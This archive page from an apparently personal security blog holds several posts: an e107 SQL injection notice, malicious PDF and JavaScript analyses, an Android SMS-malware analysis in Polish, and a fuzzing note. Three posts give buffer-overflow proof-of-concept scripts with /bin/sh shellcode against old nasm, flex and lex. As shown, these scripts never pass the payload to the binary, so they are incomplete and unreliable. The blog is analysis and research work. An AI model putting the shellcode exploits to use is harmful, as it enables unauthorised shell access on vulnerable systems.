Wednesday, 27 May 2015

SQLI in e107 CMS

During last few weeks in the middle of time I was doing also some source code review.
That's how I found sqli bug in admin panel in e107 CMS. After a fast response from e107 Team,
fix was created.

This bug was found in e107_2.0_full_beta1 version. I don't know if other versions are also vulnerable.

Details about the vulnerability (even when it's in admin panel) will not be published for now.

Stay in touch. ;)

Monday, 25 May 2015

[EN] Browser exploitation during CybercomDev conference

During this weekend I gave my first formal security presentation at CybercomDev in Poland.
I was talking about use-after-free exploits, fuzzing and browser exploitation.
Thank you for watching and support ;)

* Currently this presentation is available only on demand.

See you next time! ;)

Tuesday, 28 April 2015

[EN] Old nasm sigsegv 0day

Like before, I wrote another poc to get shell via overflow in old nasm.
Check it out:

reader@hacking:~/src/COREs $ vim 

 #!/usr/bin/env python
# -------------------------
# 0day poc for nasm 0.98.38
# 28.04.2015

from subprocess import call

flex = '/usr/bin/nasm'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "A"*4076
ret = "\x6c\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

reader@hacking:~/src/COREs $ chmod u+x
reader@hacking:~/src/COREs $ nasm -v
NASM version 0.98.38 compiled on Jun 27 2005
reader@hacking:~/src/COREs $ sh
sh-3.2$ ./
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

reader@hacking:/home/reader/src/COREs $ exit


[EN] Flex 2.5.33 (2) 0days

I was testing some old bugs in one old distro, and that's how I found sigsegv in flex (2.5.33).

Below is the proof of concept:

#!/usr/bin/env python
# -------------------------
# 0day poc for flex 2.5.33

from subprocess import call

flex = '/usr/bin/flex'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "A"*2165
ret = "\xc0\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

Second one is pretty similar (this time for /usr/bin/lex binary):

#!/usr/bin/env python
# -------------------------
# 0day poc for lex 2.5.33
# 28.04.2015

from subprocess import call

lex = '/usr/bin/lex'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "\x90"*2165
ret = "\x80\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

Enjoy ;)


Monday, 2 March 2015

[EN] Analysing malicious PDF - part 2

This time we will check 2 PDF's (because I decide that it will be more fun than just posting about one ;)). Beside that - those 2 files contains different method for delivering the payload, so we will check all of them.

To do:
1. find malicious file
2. find JS if there is any (or other object possible used for attack)
3. decode it - to get as much info as it's possible.
4. if not finished - go to step 2.

Two files to analyse you will find on mentioned before(1) Contagio's Blog.

First case:

Let's check object(s) contains JS:

PDF> object 7 > C:\1.txt 

...will save it to file. Open this file in your favorite editor and 'beauty' the code a little bit:

 Ok, so now we will get the idea...

Now we know how this code is obfuscated. Let's prepare "decoder" :)

Ok good, printable version should now contains decoded string. Checking:

hm... Almost good, but almost it's not enough ;) We need to rewrite this for() loop.

Better! Now we need to unescape() the code in a safe way. Change eval() to document.write() again:

And now we can see that this is (again commented ;) ) code with exploit for Adobe Acrobat.

Beauty again:

Good. Now after few minutes we can get the original exploit:

That's all for case one. :)

Second case:

New sample from Contagio's Blog, and again as a "first stage of checking"
we will use to analyse it:

Ok, now we can see some object(s) also containing JS code. Let's check JS this code:

In object 13 we will find more JS, so we need to extract it to TXT file again to beauty or analyse it later. Let's do it (PDF> object 13 > c:\yourFile.txt). Below is the screen from this action:

We can see that this code needs to be sanitized, so we will do it in Malzilla (unicode decoder in "Misc decoders"):

Malzilla again in action:

After decoding the rest in Burp's Decoder, we can find the real content of this exploit:

Checking online for resources like that, we can easily find proof of concept code, here or here for example.

After those 2 cases explained, you should now be able to check if your spam contains some "interesting" PDF files ;)

(* Remember ;)
if you can't check it, you can always send it to me: zipped with password 'infected'.)

Cheers ;)


Sunday, 1 March 2015

[EN] Analyzing Malicious PDF

Reading Contagio Blog I found few examples of malicious PDF files.

Today we will check one of them. :)

During PDF analysis many times we will use peepdf and Malzilla.
Also this time, those tool will help us to understand what's going on with
our PDF file.

Let's run peepdf on this file. As we can see there is some JavaScript object.
Let's examine this by "object 7" command:

Now we will save this object in 1.txt on C: drive:

Let's grab JS code from our txt file, and check if we can decode it in Malzilla:

First decoded eval() shows us some encoded payload...

Second one is just:


Ok, let's back to our first decoded eval(), that one with payload. Let see
more code (in Notepad++ ). Maybe we will understand how this exploit works
just by reading the code? ;)

And yes :D because in the code we can find even comments;]

So, yes, it looks like a heap spray sploit for Adobe Acrobat Reader < 9.

If you want to learn more, how to protect your self against this kind of vulnerabilities,
check also this or this page

If you will find some weird PDF file in your mailbox, and you don't know how to check
if it's safe to open - let me check it and send it via email (with password 'infected').

Of course you can send me other filetypes as well - MS Office/EXE/DLL/.NET...
You name it.

Thanks ;)

[EN] Obfuscated case - JSredirector

Today we'll check some "obfuscated" JavaScript code. I found this example (named
'JSredirector')  on this site. Thanks again! ;)

So... Unzip the file and you will find index.html with JS code.

Index.html contains encoded JS code:

Decoding (1st obfuscated) unescape() string in Burp:

Second one - trcat()- we can try to check by analysing code in JSDetox:

Now, again using Burp, we will decode this string:

We can see a nice link to tangoing {.} com domain but since the page is down,
few information you can grab in old VirusTotal scans:

That's all for this case;)


Tuesday, 24 February 2015

[EN] Malware analysis – Fake AV Downloader (part 1)

1.    Thanks for the sample file(s)

After writing my last article about malware analysis for Android[1], I decide to check some threats that may come from webpages. Today we can see more advertisement on web than it was few years ago. In case of malicious pages, “advertisements” added there now, more often probably will try to steal your data by installing some malware on your computer or by redirecting you to webpage containing exploit code for your browser(‘s plugin).

Few nice examples of ‘webpages’ like this, I found (again) on great Mila’s blog[0]. Thank’s again! ;)

(Hint: Don’t ask me for the password. Ask Mila via email.)

Let’s check the first one archive with HTML file, named “FakeAV Downloader”.

2.    First View

After unpacking our HTML sample, we can see that index.html file contains HTML and JavaScript code

Let’s copy the JavaScript code to new file, and save it as “ob1.html”. Now we can clean the code a little bit to see what is going on here:

As you can see, JS code is preparing “eval()” and “fromCharCode()” to use it later (with “n”):

3.    Second view

When I was trying to figure out how to deobfuscate this code, I found a link to very nice tool called JSDetox[2]. You can install it on Kali[4], but if there will be any problem with installation by “bundler”, try to install each packet manually (gem). It should helps.

After uploading our sample index.html to JSDetox, we can start deobfuscation  (“Analyse”) and get the results in few seconds:

Now we can see where new created <iframe> tag is trying to relocate us – iframe page is located on: hxxp://

Unfortunately, when I was checking this code, RU hostname was unavailable.

After that, I found some other interesting informations, for example:

a)    Correlation network topology[3]

b)    This host was used for: [5]

c)    and one more information:

So it seems now, that we have all information we need to decide that this index.html file (used in phishing campany for example) can be very dangerous for safety of our users/clients.

4.    More

Again big thanks for the sample files! ;)

If you have more, post the link(s) on comments or send me the email with subject “MALWARE”. Please remember to pack it with password ‘infected’ (zip/rar/whatever). (Without the password, email server will drop them.)

Materials described here:
[0] Mila’s blog –
[1] Android first steps in malware’s world -
[2] JSDetox -
[3] Exposure ISEC Lab –
[4] Kali Linux –
[6] Malware URL – 

[7] PacketStormSecurity - PDF version

Thanks ;)


[EN] Fun with American Fu(n)zzy Lop

Last days I was doing a little research about 'how this crazy afl works'.  ;)
"American Fuzzy Lop" it's an excellent tool created by lcamtuf.

Now it's a good moment to check the documentation of 'afl' if you want
some nice details about using it.

My main note is for "starting" with afl is:
'hangs' sometimes can also give you a potential vulnerability.
Let me show you something. I wrote a simple code with vulnerable strcpy() to
see how afl will handle with 'sample' like this.

What I found was... After few minutes I saw first 'hang':

... after another few minutes I found more and more 'examples' of hangs.
I thought it is timeout or something like that... To check it, I wrote
"extremely advance" bash script ;) to 'automate process of checking hangs'.

So... we will run the script and check the results:

 Next step? Maybe 'ulimit' :

And maybe some gdb now:

... and now, maybe it's your turn to run afl on your own code? ;)

Happy hunting!


Wednesday, 28 January 2015

[PL] Analiza aplikacji atticlab.bodyscanner.apk

W tym krótkim poście wyjaśnię sposób w jaki sprawdzałem co robi aplikacja atticlab.bodyscanner.apk. Plik znalazłem przeglądając stronę [1] - dzięki za próbki!

Spis treści:

    1.  Zaczynamy – “znalazłem aplikację”
    2.  Co robi aplikacja
    3.  Prawdziwe działanie
    4.  A pomagało mi…

  1.  Zaczynamy – “znalazłem aplikację”

  Przeglądając rózne strony w internecie szukałem aplikacji, na których mógłbym poćwiczyć analizę programów dla Android’a. Takim sposobem, znalazłem mały program - „Body Scanner Free Prank”.

Uznałem, że to bardzo dobry przykład na start i zacząłem poznawać działanie aplikacji.

    2.  Co robi aplikacja

Według opisu – świetna zabawa, można zrobić kawał znajomym na imprezie. Mnie interesowało dodatkowo, co jeszcze aplikacja ta robi po zainstalowaniu jej na telefonie.

Powinienem być może dodać na wstępie, że analizę tego pliku przeprowadzałem na dwóch systemach operacyjnych: Windows 7 oraz Debian 7.
Narzędzia, z których głównie korzystałem to jd-gui[2] oraz apktool[3] (dla Linuxa i Windowsa, będą wymienione również później). 

Zaczniemy wobec tego w momencie, w którym mamy już plik na dysku naszego Linux’a. Sprawdźmy, czy możemy dostać się do źródeł pliku. Pomoże nam w tym program apktool

Idąc za dokumentacją ( „It is a tool for reverse engineering 3rd party, closed, binary Android apps.
Aby zacząć sprawdzać kod aplikacji, skorzystajmy na początek z tego narzędzia. Opis działania programu poznamy po wydaniu polecenia:

$ java –jar apktool.jar
W ten sposób, program przedstawi nam dostępne do użycia opcje:

Wybierzmy zatem opcję „d”, aby dekodować plik APK:

root@tadam:~/tools/android/apki/MALWARE# java -jar apktool_1.5.2.jar d atticlab.bodyscanner.apk

I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...


Ok. Teraz w katalogu apktool’a powinniśmy znaleźć folder z plikami smali[4].

    3.  Prawdziwe działanie

   Chcąc poznać prawdziwe działanie tej aplikacji, sprawdźmy co faktycznie ukryte jest w jej kodzie źródłowym.   
   Sprawdźmy najpierw co znajdziemy w pliku AndroidManifest.xml. To czego będziemy teraz szukać to uprawnienia jakich wymaga ta aplikacja do poprawnego działania.

Widzimy zatem, jakie uprawnienia w telefonie chce uzyskać program:

W związku z tym, wiemy już, że instalując tą aplikację na swoim urządzeniu z Android’em, umożliwimy jej:
  • Dostęp do informacji o stanie telefonu
  • Dostęp do informacji na temat dostępnych sieci
  • Wysyłanie wiadomości SMS
  • Tworzenie gniazd sieciowych
  • Dostęp do plików na zewnętrznych nośnikach (np. karty SD)
  • Instalację pakietów
  • Kasowanie pakietów

Po szczegółowe opisy informacji, które możemy znaleźć w pliku manifestu, zapraszam na stronę dokumentacji wymienioną w ostatnim akapicie jako [5].

Przeglądając kod źródłowy aplikacji (np. korzystając z jd-gui[2]), możemy znaleźć klasy „opisujące” działanie aplikacji atticlab.bodyscanner.apk.

Na poniższym zrzucie ekranu przedstawione są wspomniane wyżej klasy z punktu widzenia dekompilatora:

Główne zadania poszczególnych klas to: 
        Ø  AutorunBroadcastReceiver:
§  przygotowuje funkcję onReceive()
        Ø  Downloader:
§  tworzy katalog "/download/", w którym przechowywane będą pliki
        Ø  NotificationActivity:
§  przygotowuje wygląd powiadomień
§  wlacza obsługę JavaScript
        Ø  NotificationApplication:
§  przygotowuje ustawienia
§  zbiera informacje na temat SMS’ów
§  zbiera listę operatorow sieci
§  ustawia alarm
        Ø  NotificationService
§  przygotowuje uruchomienie usługi
        Ø  OperaUpdaterActivity
§  przygotowuje klasę Downloader’a
§  dodaje logo
§  obsługuje wysłane SMS’y
§  tworzy layout
§  zapisuje zmiany w konfiguracji
§  ustawia ekran koncowy oraz ekran główny aplikacji
        Ø  RepeatingAlarmService
§  włącza powtarzanie usługi alarmu
        Ø  Restriction
§  funkcja send() do obsługi SMS’ów
        Ø  ScreenItem
§  przygotowuje wygląd
        Ø  Settings
§  ustawienia aplikacji, zmienne, stałe, etc...
§  zbiera informacje o telefonie
§  przygotowuje obsługę wybranego algorytmu (md5)
§  zapisuje ustawienia
        Ø  SettingsSet
§  serializacja treści SMS’ów
        Ø  SmsItem
§  zbiera SMS’y do wysłania
        Ø  SmsOperator
§  przygotowuje obiekty do obsługi operatora
        Ø  StringDecoder
§  na podstawie Hashtable koduje stringi w kodzie malware'u
§  (... i na tej podstawie odszyfrujemy co one znacza ;] )
        Ø  ThreadOperation
§  obsługa wątków w aplikacji
        Ø  ThreadOperationListener
§  listener dla operacji/watków
        Ø  Utils
§  zebrane funkcjonalności programu

A teraz, poniżej kilka informacji na temat działania samej aplikacji. Informacje zebrano na podstawie dostępnego (jd-gui) kodu źródłowego.

Podczas sprawdzania ciągów znaków (strings) w aplikacji natknąłem się na „rosyjsko wyglądające” napisy:

Według Google Translator’a[6] oznaczają one:

Ciekawym elementem przeglądu tego kodu źródłowego, było znalezienie zakodowanych „jakimś tajnym sposobem” napisów:


Całą magię specjalnego kodowania znalazłem w pliku: ad/notify/ Widząc ten kod, zauwazyłem, że stringi kodowane są za pomocą decode(). Postanowiłem zatem użyć polecenia grep, żeby sprawdzić gdzie są wszystkie odwołania do decode() w kodzie źródłowym aplikacji. Oto wyniki:

W ten sposób zebrałem listę wierszy, które należy rozkodować. Zapisałem je w pliku „decodeit.txt”. Następnie napisałem bardzo prosty program w Pythonie, aby rozkodować zebrane wcześniej napisy. Kod programu poniżej:

#!/usr/bin/env python

f = open('decodeit.txt','r')

dikt = {'"':'"','p':'#','*':'4','`':'v','e':'n','S':'c','-':'L','/':'l','?':'a',
'@':'!','Y':'J','=':'D','\n':'\n',' ':' '}

wynik = []
for line in f:
  for char in line:

print ''.join(wynik)


Działanie programu jest bardzo proste: korzystając z tablicy „Hastable” z kodu źródłowego malware’u, tworzymy proste zamiany znaku X na znak Y (użyty jako zamiennik w Hashtable). W ten sposób otrzymujemy odkodowany tekst:

(Kod dekodera dostępny również na Pastebin: )

W ten sposób poznajemy kilka ukrytych informacji w kodzie programu, między innymi ciepłe przywitanie od autora „WHELCOMETOHELL” ;)

Kawałek hashtable, o którym mowa wyżej, prezentuje poniższy zrzut ekranu:

W pliku znajdujemy również funkcję decode():

Analizując aplikacje na telefon, nawet tak pobieżnie, już na tym etapie prawdopodobnie będziemy mogli stwierdzić, że plik APK może źle wpływać na działanie naszego telefonu... ;)

Czasem z podpowiedzią może przyjść VirusTotal[7]:

    4.  A pomagało mi...

1)  Malware sample from - thanks!
2)  Jd-gui -
6)  Google Translate –
7)  VirusTotal –

Komentarze / pytania ->
lub @ [at] gmail [.] com